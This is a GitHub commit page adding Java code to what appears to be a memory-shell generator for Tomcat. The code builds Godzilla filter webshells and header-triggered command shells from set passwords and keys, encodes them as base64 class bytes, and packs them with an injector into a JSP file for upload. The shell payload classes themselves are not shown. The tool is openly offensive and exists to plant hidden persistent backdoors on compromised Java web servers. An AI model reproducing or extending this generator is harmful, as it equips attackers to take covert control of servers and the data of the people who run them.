Skip to content

Commit a06eb2f

Browse files
committed
feat: support tomcat cmd shell and jsp packer
1 parent 184bd1e commit a06eb2f

32 files changed

+867
-74
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
package com.reajason.javaweb;
2+
3+
import com.reajason.javaweb.config.*;
4+
import com.reajason.javaweb.memsell.packer.JspPacker;
5+
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
6+
7+
import java.io.IOException;
8+
import java.nio.file.Files;
9+
import java.nio.file.Paths;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2024/11/24
14+
*/
15+
public class GeneratorMain {
16+
public static void main(String[] args) throws IOException {
17+
Server server = Server.TOMCAT;
18+
ShellTool shellTool = ShellTool.Godzilla;
19+
String shellType = TomcatShell.FILTER;
20+
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
21+
.pass("pass")
22+
.key("key")
23+
.headerName("User-Agent")
24+
.headerValue("test")
25+
.build();
26+
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
27+
if (generateResult != null) {
28+
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
29+
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
30+
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
31+
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
32+
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
33+
System.out.println(shellConfig);
34+
JspPacker jspPacker = new JspPacker();
35+
String jspContent = new String(jspPacker.pack(generateResult));
36+
System.out.println(jspContent);
37+
}
38+
}
39+
40+
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
41+
switch (server) {
42+
case TOMCAT:
43+
return TomcatShell.generate(shellTool, shellType, shellConfig);
44+
case BES:
45+
break;
46+
case RESIN:
47+
break;
48+
case JETTY:
49+
break;
50+
default:
51+
throw new IllegalArgumentException("Unsupported server");
52+
}
53+
return GenerateResult.builder().build();
54+
}
55+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.reajason.javaweb.config;
2+
3+
import lombok.Builder;
4+
import lombok.Getter;
5+
import lombok.ToString;
6+
import lombok.experimental.SuperBuilder;
7+
8+
/**
9+
* @author ReaJason
10+
* @since 2024/11/24
11+
*/
12+
@Getter
13+
@SuperBuilder
14+
@ToString
15+
public class CommandShellConfig extends ShellConfig {
16+
@Builder.Default
17+
private String headerName = "cmd";
18+
}
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package com.reajason.javaweb.config;
2+
3+
import lombok.Builder;
4+
import lombok.Data;
5+
import org.apache.commons.codec.binary.Base64;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/11/24
10+
*/
11+
@Data
12+
@Builder
13+
public class GenerateResult {
14+
private String shellClassName;
15+
private transient byte[] shellBytes;
16+
private String shellBytesBase64Str;
17+
private String injectorClassName;
18+
private transient byte[] injectorBytes;
19+
private String injectorBytesBase64Str;
20+
private ShellConfig shellConfig;
21+
22+
public GenerateResult encodeBase64() {
23+
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
24+
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
25+
return this;
26+
}
27+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.reajason.javaweb.config;
2+
3+
import com.reajason.javaweb.util.CommonUtil;
4+
import lombok.*;
5+
import lombok.experimental.SuperBuilder;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/11/24
10+
*/
11+
@Getter
12+
@SuperBuilder
13+
@NoArgsConstructor
14+
@AllArgsConstructor
15+
@ToString
16+
public class GodzillaShellConfig extends ShellConfig {
17+
@Builder.Default
18+
private String pass = "pass";
19+
@Builder.Default
20+
private String key = "key";
21+
@Builder.Default
22+
private String headerName = "User-Agent";
23+
@Builder.Default
24+
private String headerValue = CommonUtil.getRandomString(8);
25+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.reajason.javaweb.config;
2+
3+
import com.reajason.javaweb.util.CommonUtil;
4+
import lombok.AllArgsConstructor;
5+
import lombok.Builder;
6+
import lombok.Data;
7+
import lombok.NoArgsConstructor;
8+
import lombok.experimental.SuperBuilder;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2024/11/24
13+
*/
14+
@Data
15+
@SuperBuilder
16+
@NoArgsConstructor
17+
@AllArgsConstructor
18+
public class ShellConfig {
19+
@Builder.Default
20+
private String shellClassName = CommonUtil.generateShellClassName();
21+
@Builder.Default
22+
private String injectorClassName = CommonUtil.generateInjectorClassName();
23+
@Builder.Default
24+
private String urlPattern = "/*";
25+
}

generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java

Lines changed: 0 additions & 41 deletions
This file was deleted.
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package com.reajason.javaweb.memsell;
2+
3+
import net.bytebuddy.ByteBuddy;
4+
import net.bytebuddy.dynamic.DynamicType;
5+
import net.bytebuddy.implementation.FieldAccessor;
6+
import net.bytebuddy.implementation.Implementation;
7+
import net.bytebuddy.implementation.SuperMethodCall;
8+
import net.bytebuddy.matcher.ElementMatchers;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2024/11/24
13+
*/
14+
public class CommandGenerator {
15+
16+
public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) {
17+
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
18+
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName));
19+
try (DynamicType.Unloaded<?> make = new ByteBuddy()
20+
.redefine(commandClass)
21+
.name(commandClassName)
22+
.constructor(ElementMatchers.any())
23+
.intercept(fieldSets)
24+
.make()) {
25+
return make.getBytes();
26+
}
27+
}
28+
}

generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@
1414
*/
1515
public class GodzillaGenerator {
1616

17-
public byte[] generate(Class<?> godzillaClass, String godzillaClassName,
17+
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
1818
String pass, String key,
1919
String headerName, String headerValue) {
2020
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);

generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
import net.bytebuddy.dynamic.DynamicType;
77
import net.bytebuddy.implementation.FixedValue;
88
import org.apache.commons.codec.binary.Base64;
9-
import org.apache.commons.lang3.StringUtils;
109

1110
import java.util.Objects;
1211

@@ -19,7 +18,7 @@
1918
public class InjectorGenerator {
2019

2120
@SneakyThrows
22-
public byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
21+
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
2322
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
2423
try (DynamicType.Unloaded<?> make = new ByteBuddy()
2524
.redefine(injectClass)
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package com.reajason.javaweb.memsell.packer;
2+
3+
import com.reajason.javaweb.config.GenerateResult;
4+
import lombok.SneakyThrows;
5+
import org.apache.commons.io.IOUtils;
6+
7+
import java.nio.charset.Charset;
8+
import java.util.Objects;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2024/11/26
13+
*/
14+
public class JspPacker implements Packer {
15+
16+
@Override
17+
@SneakyThrows
18+
public byte[] pack(GenerateResult generateResult) {
19+
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
20+
String injectorClassName = generateResult.getInjectorClassName();
21+
String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
22+
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
23+
}
24+
}

0 commit comments

Comments
 (0)